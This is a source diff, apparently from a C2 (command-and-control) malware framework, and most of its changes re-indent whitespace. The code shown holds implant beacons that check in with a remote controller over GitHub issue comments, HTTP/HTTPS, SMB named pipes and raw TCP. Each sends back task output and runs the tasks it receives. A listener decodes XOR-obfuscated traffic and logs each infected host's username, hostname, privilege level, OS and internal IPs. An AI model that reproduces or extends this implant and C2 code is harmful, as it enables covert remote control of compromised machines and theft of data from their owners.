{ "Authorization", auth },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
};
|
||||
|
||||
for (auto& it : httpHeaders.items())
|
||||
@@ -239,9 +239,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
|
||||
// Check for available data.
|
||||
dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate space for the buffer.
|
||||
pszOutBuffer = new char[dwSize + 1];
|
||||
@@ -257,9 +257,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
|
||||
|
||||
DWORD dwDownloaded = 0;
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// printf("%s", pszOutBuffer);
|
||||
@@ -307,9 +307,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
|
||||
if(nbComments!=0)
|
||||
{
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
issueEndpoint += std::to_string(number);
|
||||
issueEndpoint += "/comments";
|
||||
|
||||
statusCode = GithubGet(domain, issueEndpoint, response);
|
||||
@@ -351,9 +351,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
|
||||
|
||||
// close the issue
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
issueEndpoint += std::to_string(number);
|
||||
|
||||
// Post data
|
||||
json responseData = {{"state", "closed"}};
|
||||
@@ -372,7 +372,7 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
|
||||
|
||||
|
||||
BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token)
|
||||
: Beacon()
|
||||
: Beacon()
|
||||
, m_project(project)
|
||||
, m_token(token)
|
||||
{
|
||||
@@ -409,8 +409,8 @@ void BeaconGithub::checkIn()
|
||||
// httplib::Client cli(url);
|
||||
|
||||
// std::string endpoint = "/repos/";
|
||||
// endpoint += m_project;
|
||||
// endpoint += "/issues";
|
||||
// endpoint += m_project;
|
||||
// endpoint += "/issues";
|
||||
|
||||
// std::cout << "endpoint " << endpoint << std::endl;
|
||||
|
||||
@@ -462,13 +462,13 @@ void BeaconGithub::checkIn()
|
||||
|
||||
// std::string number = issue["number"];
|
||||
// std::string issueEndpoint = "/repos/";
|
||||
// issueEndpoint += m_project;
|
||||
// issueEndpoint += m_project;
|
||||
// issueEndpoint += "/issues/";
|
||||
// issueEndpoint += number;
|
||||
// issueEndpoint += number;
|
||||
// // auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
|
||||
#elif _WIN32
|
||||
@@ -476,13 +476,13 @@ void BeaconGithub::checkIn()
|
||||
std::string url = "api.github.com";
|
||||
|
||||
std::string endPoint = "/repos/";
|
||||
endPoint += m_project;
|
||||
endPoint += "/issues";
|
||||
endPoint += m_project;
|
||||
endPoint += "/issues";
|
||||
|
||||
std::cout << "endPoint " << endPoint << std::endl;
|
||||
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
|
||||
// Sent response
|
||||
// TODO handle big response with multiple comments
|
||||
|
||||
@@ -7,20 +7,20 @@ class BeaconGithub : public Beacon
|
||||
{
|
||||
|
||||
public:
|
||||
BeaconGithub(std::string& config, const std::string& project, const std::string& token);
|
||||
~BeaconGithub();
|
||||
BeaconGithub(std::string& config, const std::string& project, const std::string& token);
|
||||
~BeaconGithub();
|
||||
|
||||
void checkIn();
|
||||
void checkIn();
|
||||
|
||||
private:
|
||||
std::string m_project;
|
||||
std::string m_token;
|
||||
private:
|
||||
std::string m_project;
|
||||
std::string m_token;
|
||||
|
||||
#ifdef _WIN32
|
||||
int HandleRequest(const std::string& domain, const std::string& url);
|
||||
int HandleRequest(const std::string& domain, const std::string& url);
|
||||
|
||||
int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response);
|
||||
int GithubGet(const std::string& domain, const std::string& url, std::string &response);
|
||||
int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response);
|
||||
int GithubGet(const std::string& domain, const std::string& url, std::string &response);
|
||||
#endif
|
||||
|
||||
};
|
||||
|
||||
+11
-11
@@ -126,9 +126,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co
|
||||
// Check for available data.
|
||||
dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate space for the buffer.
|
||||
pszOutBuffer = new char[dwSize + 1];
|
||||
@@ -144,9 +144,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co
|
||||
|
||||
DWORD dwDownloaded = 0;
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// printf("%s", pszOutBuffer);
|
||||
@@ -260,9 +260,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
|
||||
// Check for available data.
|
||||
dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate space for the buffer.
|
||||
pszOutBuffer = new char[dwSize + 1];
|
||||
@@ -278,9 +278,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
|
||||
|
||||
DWORD dwDownloaded = 0;
|
||||
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
||||
{
|
||||
{
|
||||
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// printf("%s", pszOutBuffer);
|
||||
@@ -313,7 +313,7 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
|
||||
|
||||
|
||||
BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps)
|
||||
: Beacon()
|
||||
: Beacon()
|
||||
, m_isHttps(isHttps)
|
||||
{
|
||||
srand(time(NULL));
|
||||
@@ -420,8 +420,8 @@ void BeaconHttp::checkIn()
|
||||
endPoint = httpUri[ rand() % httpUri.size() ];
|
||||
}
|
||||
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
|
||||
nlohmann::json httpHeaders;
|
||||
if(!m_isHttps)
|
||||
|
||||
@@ -7,16 +7,16 @@ class BeaconHttp : public Beacon
|
||||
{
|
||||
|
||||
public:
|
||||
BeaconHttp(std::string& config, std::string& ip, int port, bool https=false);
|
||||
~BeaconHttp();
|
||||
BeaconHttp(std::string& config, std::string& ip, int port, bool https=false);
|
||||
~BeaconHttp();
|
||||
|
||||
void checkIn();
|
||||
void checkIn();
|
||||
|
||||
private:
|
||||
std::string m_ip;
|
||||
int m_port;
|
||||
std::string m_ip;
|
||||
int m_port;
|
||||
|
||||
nlohmann::json m_beaconHttpConfig;
|
||||
bool m_isHttps;
|
||||
nlohmann::json m_beaconHttpConfig;
|
||||
bool m_isHttps;
|
||||
|
||||
};
|
||||
|
||||
+38
-38
@@ -6,62 +6,62 @@ using namespace PipeHandler;
|
||||
|
||||
|
||||
BeaconSmb::BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName)
|
||||
: Beacon()
|
||||
: Beacon()
|
||||
{
|
||||
// beacon and modules config
|
||||
// beacon and modules config
|
||||
initConfig(config);
|
||||
|
||||
m_clientSmb = new PipeHandler::Client(ip, pipeName);
|
||||
m_clientSmb = new PipeHandler::Client(ip, pipeName);
|
||||
}
|
||||
|
||||
|
||||
BeaconSmb::~BeaconSmb()
|
||||
{
|
||||
delete m_clientSmb;
|
||||
delete m_clientSmb;
|
||||
}
|
||||
|
||||
|
||||
void BeaconSmb::checkIn()
|
||||
{
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
while(!m_clientSmb->initConnection())
|
||||
{
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(333));
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
}
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
while(!m_clientSmb->initConnection())
|
||||
{
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(333));
|
||||
SPDLOG_DEBUG("initConnection");
|
||||
}
|
||||
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
|
||||
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
|
||||
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
|
||||
|
||||
bool res = m_clientSmb->sendData(output);
|
||||
if(res)
|
||||
{
|
||||
string input;
|
||||
while(input.empty())
|
||||
{
|
||||
res=m_clientSmb->receiveData(input);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(50));
|
||||
}
|
||||
if(res)
|
||||
{
|
||||
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
|
||||
bool res = m_clientSmb->sendData(output);
|
||||
if(res)
|
||||
{
|
||||
string input;
|
||||
while(input.empty())
|
||||
{
|
||||
res=m_clientSmb->receiveData(input);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(50));
|
||||
}
|
||||
if(res)
|
||||
{
|
||||
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
|
||||
|
||||
if(!input.empty())
|
||||
{
|
||||
cmdToTasks(input);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
SPDLOG_DEBUG("Receive failed");
|
||||
}
|
||||
}
|
||||
else
|
||||
SPDLOG_DEBUG("Send failed");
|
||||
if(!input.empty())
|
||||
{
|
||||
cmdToTasks(input);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
SPDLOG_DEBUG("Receive failed");
|
||||
}
|
||||
}
|
||||
else
|
||||
SPDLOG_DEBUG("Send failed");
|
||||
|
||||
|
||||
m_clientSmb->closeConnection();
|
||||
m_clientSmb->closeConnection();
|
||||
}
|
||||
|
||||
|
||||
@@ -5,19 +5,19 @@
|
||||
|
||||
namespace PipeHandler
|
||||
{
|
||||
class Client;
|
||||
class Client;
|
||||
}
|
||||
|
||||
class BeaconSmb : public Beacon
|
||||
{
|
||||
|
||||
public:
|
||||
BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName);
|
||||
~BeaconSmb();
|
||||
BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName);
|
||||
~BeaconSmb();
|
||||
|
||||
private:
|
||||
void checkIn();
|
||||
void checkIn();
|
||||
|
||||
PipeHandler::Client* m_clientSmb;
|
||||
PipeHandler::Client* m_clientSmb;
|
||||
|
||||
};
|
||||
|
||||
+28
-28
@@ -5,21 +5,21 @@ using namespace std;
|
||||
|
||||
|
||||
BeaconTcp::BeaconTcp(std::string& config, std::string& ip, int port)
|
||||
: Beacon()
|
||||
: Beacon()
|
||||
{
|
||||
m_ip = ip;
|
||||
m_ip = ip;
|
||||
m_port = port;
|
||||
|
||||
// beacon and modules config
|
||||
// beacon and modules config
|
||||
initConfig(config);
|
||||
|
||||
m_client=new SocketTunnelClient();
|
||||
m_client=new SocketTunnelClient();
|
||||
}
|
||||
|
||||
|
||||
BeaconTcp::~BeaconTcp()
|
||||
{
|
||||
delete m_client;
|
||||
delete m_client;
|
||||
}
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector<std::string>&
|
||||
}
|
||||
|
||||
if (start < input.length())
|
||||
{
|
||||
{
|
||||
output.push_back(input.substr(start));
|
||||
}
|
||||
|
||||
@@ -44,36 +44,36 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector<std::string>&
|
||||
|
||||
|
||||
void BeaconTcp::checkIn()
|
||||
{
|
||||
int ret = m_client->init(m_ip, m_port);
|
||||
{
|
||||
int ret = m_client->init(m_ip, m_port);
|
||||
|
||||
if(ret)
|
||||
{
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
if(ret)
|
||||
{
|
||||
std::string output;
|
||||
taskResultsToCmd(output);
|
||||
|
||||
output.append("<TCP-666>");
|
||||
output.append("<TCP-666>");
|
||||
|
||||
std::string input;
|
||||
int res = m_client->process(output, input);
|
||||
std::string input;
|
||||
int res = m_client->process(output, input);
|
||||
|
||||
if(res<0)
|
||||
{
|
||||
m_client->reset();
|
||||
}
|
||||
else if(!input.empty())
|
||||
{
|
||||
std::vector<std::string> trames;
|
||||
splitInPacket(input, trames);
|
||||
if(res<0)
|
||||
{
|
||||
m_client->reset();
|
||||
}
|
||||
else if(!input.empty())
|
||||
{
|
||||
std::vector<std::string> trames;
|
||||
splitInPacket(input, trames);
|
||||
|
||||
for(int i=0; i<trames.size(); i++)
|
||||
cmdToTasks(trames[i]);
|
||||
}
|
||||
for(int i=0; i<trames.size(); i++)
|
||||
cmdToTasks(trames[i]);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -9,16 +9,16 @@ class BeaconTcp : public Beacon
|
||||
{
|
||||
|
||||
public:
|
||||
BeaconTcp(std::string& config, std::string& ip, int port);
|
||||
~BeaconTcp();
|
||||
BeaconTcp(std::string& config, std::string& ip, int port);
|
||||
~BeaconTcp();
|
||||
|
||||
private:
|
||||
std::string m_ip;
|
||||
int m_port;
|
||||
std::string m_ip;
|
||||
int m_port;
|
||||
|
||||
void checkIn();
|
||||
void checkIn();
|
||||
|
||||
int splitInPacket(const std::string& input, std::vector<std::string>& output);
|
||||
int splitInPacket(const std::string& input, std::vector<std::string>& output);
|
||||
|
||||
SocketTunnelClient* m_client;
|
||||
SocketTunnelClient* m_client;
|
||||
};
|
||||
|
||||
+205
-205
@@ -76,32 +76,32 @@ spdlog::level::level_enum Listener::resolveLogLevel(const nlohmann::json& global
|
||||
|
||||
|
||||
Listener::Listener(const std::string& param1, const std::string& param2, const std::string& type)
|
||||
{
|
||||
m_param1 = param1;
|
||||
m_param2 = param2;
|
||||
m_type = type;
|
||||
m_isPrimary = false;
|
||||
{
|
||||
m_param1 = param1;
|
||||
m_param2 = param2;
|
||||
m_type = type;
|
||||
m_isPrimary = false;
|
||||
|
||||
// m_listenerHash is now composed of a UUID and information related to the machine and the listener
|
||||
// m_listenerHash is now composed of a UUID and information related to the machine and the listener
|
||||
#ifdef __linux__
|
||||
|
||||
char hostname[2048];
|
||||
gethostname(hostname, 2048);
|
||||
m_hostname = hostname;
|
||||
char hostname[2048];
|
||||
gethostname(hostname, 2048);
|
||||
m_hostname = hostname;
|
||||
|
||||
#elif _WIN32
|
||||
|
||||
TCHAR infoBuf[INFO_BUFFER_SIZE];
|
||||
DWORD bufCharCount = INFO_BUFFER_SIZE;
|
||||
TCHAR infoBuf[INFO_BUFFER_SIZE];
|
||||
DWORD bufCharCount = INFO_BUFFER_SIZE;
|
||||
|
||||
// Get and display the name of the computer.
|
||||
m_hostname = "unknown";
|
||||
if( GetComputerName( infoBuf, &bufCharCount ) )
|
||||
m_hostname = infoBuf;
|
||||
// Get and display the name of the computer.
|
||||
m_hostname = "unknown";
|
||||
if( GetComputerName( infoBuf, &bufCharCount ) )
|
||||
m_hostname = infoBuf;
|
||||
|
||||
#endif
|
||||
// TODO take from config ???
|
||||
// decrypt key
|
||||
// TODO take from config ???
|
||||
// decrypt key
|
||||
std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_));
|
||||
std::string key(mainKeyConfig);
|
||||
XOR(keyDecrypted, key);
|
||||
@@ -112,25 +112,25 @@ Listener::Listener(const std::string& param1, const std::string& param2, const s
|
||||
|
||||
const std::string & Listener::getParam1() const
|
||||
{
|
||||
return m_param1;
|
||||
return m_param1;
|
||||
}
|
||||
|
||||
|
||||
const std::string & Listener::getParam2() const
|
||||
{
|
||||
return m_param2;
|
||||
return m_param2;
|
||||
}
|
||||
|
||||
|
||||
const std::string & Listener::getType() const
|
||||
{
|
||||
return m_type;
|
||||
return m_type;
|
||||
}
|
||||
|
||||
|
||||
const std::string & Listener::getListenerHash() const
|
||||
{
|
||||
return m_listenerHash;
|
||||
return m_listenerHash;
|
||||
}
|
||||
|
||||
|
||||
@@ -142,38 +142,38 @@ std::size_t Listener::getNumberOfSession() const
|
||||
|
||||
std::shared_ptr<Session> Listener::getSessionPtr(int idxSession)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
if(idxSession<m_sessions.size())
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_sessions[idxSession];
|
||||
return ptr;
|
||||
}
|
||||
else
|
||||
return nullptr;
|
||||
if(idxSession<m_sessions.size())
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_sessions[idxSession];
|
||||
return ptr;
|
||||
}
|
||||
else
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
|
||||
std::shared_ptr<Session> Listener::getSessionPtr(const std::string& beaconHash, const std::string& listenerHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
|
||||
for(std::size_t idxSession=0; idxSession<m_sessions.size(); idxSession++)
|
||||
{
|
||||
if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash())
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_sessions[idxSession];
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
{
|
||||
if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash())
|
||||
{
|
||||
std::shared_ptr<Session> ptr = m_sessions[idxSession];
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
|
||||
bool Listener::isSessionExist(const std::string& beaconHash, const std::string& listenerHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -189,7 +189,7 @@ bool Listener::isSessionExist(const std::string& beaconHash, const std::string&
|
||||
|
||||
bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -209,8 +209,8 @@ bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::stri
|
||||
// Returns true if the session was found and the listener was added, false otherwise.
|
||||
bool Listener::addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
|
||||
{
|
||||
// Ensure thread-safe access to the sessions list.
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
// Ensure thread-safe access to the sessions list.
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
|
||||
@@ -243,7 +243,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
|
||||
|
||||
bool Listener::rmSessionListener(const std::string& beaconHash, const std::string& listenerHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -269,19 +269,19 @@ bool Listener::rmSessionListener(const std::string& beaconHash, const std::strin
|
||||
|
||||
std::vector<SessionListener> Listener::getSessionListenerInfos()
|
||||
{
|
||||
std::vector<SessionListener> sessionListenerList;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
{
|
||||
if(!(*it)->isSessionKilled())
|
||||
sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end());
|
||||
}
|
||||
return sessionListenerList;
|
||||
std::vector<SessionListener> sessionListenerList;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
{
|
||||
if(!(*it)->isSessionKilled())
|
||||
sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end());
|
||||
}
|
||||
return sessionListenerList;
|
||||
}
|
||||
|
||||
|
||||
bool Listener::markSessionKilled(const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -303,13 +303,13 @@ bool Listener::markSessionKilled(const std::string& beaconHash)
|
||||
|
||||
void Listener::queueTask(const std::string& beaconHash, const C2Message& c2Message)
|
||||
{
|
||||
addTask(c2Message, beaconHash);
|
||||
addTask(c2Message, beaconHash);
|
||||
}
|
||||
|
||||
|
||||
bool Listener::addTask(const C2Message& task, const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -335,7 +335,7 @@ bool Listener::addTask(const C2Message& task, const std::string& beaconHash)
|
||||
|
||||
C2Message Listener::getTask(const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
C2Message output;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -353,7 +353,7 @@ C2Message Listener::getTask(const std::string& beaconHash)
|
||||
|
||||
bool Listener::addTaskResult(const C2Message& taskResult, const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -379,7 +379,7 @@ bool Listener::addTaskResult(const C2Message& taskResult, const std::string& bea
|
||||
|
||||
C2Message Listener::getTaskResult(const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
C2Message output;
|
||||
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
|
||||
@@ -397,7 +397,7 @@ C2Message Listener::getTaskResult(const std::string& beaconHash)
|
||||
|
||||
bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool isSessionExist = false;
|
||||
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
|
||||
@@ -414,7 +414,7 @@ bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::str
|
||||
|
||||
bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
bool sessionExist = false;
|
||||
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
|
||||
@@ -440,7 +440,7 @@ bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string
|
||||
|
||||
C2Message Listener::getSocksTaskResult(const std::string& beaconHash)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
C2Message output;
|
||||
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
|
||||
@@ -461,36 +461,36 @@ C2Message Listener::getSocksTaskResult(const std::string& beaconHash)
|
||||
// output is the message send by listener to the beacon
|
||||
bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
{
|
||||
std::string data = base64_decode(input);
|
||||
XOR(data, m_key);
|
||||
std::string data = base64_decode(input);
|
||||
XOR(data, m_key);
|
||||
|
||||
// Mutli Sessions, Multi messages
|
||||
MultiBundleC2Message multiBundleC2Message;
|
||||
multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());
|
||||
// Mutli Sessions, Multi messages
|
||||
MultiBundleC2Message multiBundleC2Message;
|
||||
multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());
|
||||
|
||||
//
|
||||
// 1) Handle messages comming from beacons
|
||||
//
|
||||
// Create taksResult to be display by the TeamServer
|
||||
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
|
||||
{
|
||||
// For each session (direct session and childs)
|
||||
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
|
||||
//
|
||||
// 1) Handle messages comming from beacons
|
||||
//
|
||||
// Create taksResult to be display by the TeamServer
|
||||
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
|
||||
{
|
||||
// For each session (direct session and childs)
|
||||
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
|
||||
|
||||
// Sessions are unique and created from the pair beaconHash / first listenerHash handling the request
|
||||
// If listenerHash is already filled it means that the session was already handled by an other listener befor this one
|
||||
std::string beaconHash = bundleC2Message->beaconhash();
|
||||
std::string listenerhash = bundleC2Message->listenerhash();
|
||||
if(listenerhash.empty())
|
||||
listenerhash = getListenerHash();
|
||||
bundleC2Message->set_listenerhash(listenerhash);
|
||||
// Sessions are unique and created from the pair beaconHash / first listenerHash handling the request
|
||||
// If listenerHash is already filled it means that the session was already handled by an other listener befor this one
|
||||
std::string beaconHash = bundleC2Message->beaconhash();
|
||||
std::string listenerhash = bundleC2Message->listenerhash();
|
||||
if(listenerhash.empty())
|
||||
listenerhash = getListenerHash();
|
||||
bundleC2Message->set_listenerhash(listenerhash);
|
||||
|
||||
if(beaconHash.size()!=SizeBeaconHash)
|
||||
continue;
|
||||
if(beaconHash.size()!=SizeBeaconHash)
|
||||
continue;
|
||||
|
||||
bool isExist = isSessionExist(beaconHash, listenerhash);
|
||||
bool isExist = isSessionExist(beaconHash, listenerhash);
|
||||
|
||||
// If the session does not exist, create a new one
|
||||
// If the session does not exist, create a new one
|
||||
if(isExist==false)
|
||||
{
|
||||
// TODO if no info are provided, queu a getInfo cmd
|
||||
@@ -499,41 +499,41 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
m_logger->info("Registering new session for beacon {} handled by listener {}", beaconHash, listenerhash);
|
||||
#endif
|
||||
|
||||
std::string username = bundleC2Message->username();
|
||||
std::string hostname = bundleC2Message->hostname();
|
||||
std::string arch = bundleC2Message->arch();
|
||||
std::string privilege = bundleC2Message->privilege();
|
||||
std::string os = bundleC2Message->os();
|
||||
std::string internalIps = bundleC2Message->internalIps();
|
||||
std::string processId = bundleC2Message->processId();
|
||||
std::string additionalInformation = bundleC2Message->additionalInformation();
|
||||
std::string username = bundleC2Message->username();
|
||||
std::string hostname = bundleC2Message->hostname();
|
||||
std::string arch = bundleC2Message->arch();
|
||||
std::string privilege = bundleC2Message->privilege();
|
||||
std::string os = bundleC2Message->os();
|
||||
std::string internalIps = bundleC2Message->internalIps();
|
||||
std::string processId = bundleC2Message->processId();
|
||||
std::string additionalInformation = bundleC2Message->additionalInformation();
|
||||
|
||||
std::shared_ptr<Session> session = std::make_shared<Session>(listenerhash, beaconHash, hostname, username, arch, privilege, os);
|
||||
session->setInternalIps(internalIps);
|
||||
session->setProcessId(processId);
|
||||
session->setAdditionalInformation(additionalInformation);
|
||||
m_sessions.push_back(std::move(session));
|
||||
}
|
||||
// If the session already exist, update the information
|
||||
else
|
||||
{
|
||||
std::string lastProofOfLife = bundleC2Message->lastProofOfLife();
|
||||
}
|
||||
// If the session already exist, update the information
|
||||
else
|
||||
{
|
||||
std::string lastProofOfLife = bundleC2Message->lastProofOfLife();
|
||||
updateSessionProofOfLife(beaconHash, lastProofOfLife);
|
||||
}
|
||||
}
|
||||
|
||||
// For each message in this session
|
||||
for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
|
||||
{
|
||||
const C2Message& c2Message = bundleC2Message->c2messages(j);
|
||||
// For each message in this session
|
||||
for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
|
||||
{
|
||||
const C2Message& c2Message = bundleC2Message->c2messages(j);
|
||||
|
||||
addTaskResult(c2Message, beaconHash);
|
||||
|
||||
// Handle instruction that have impact on this Listener
|
||||
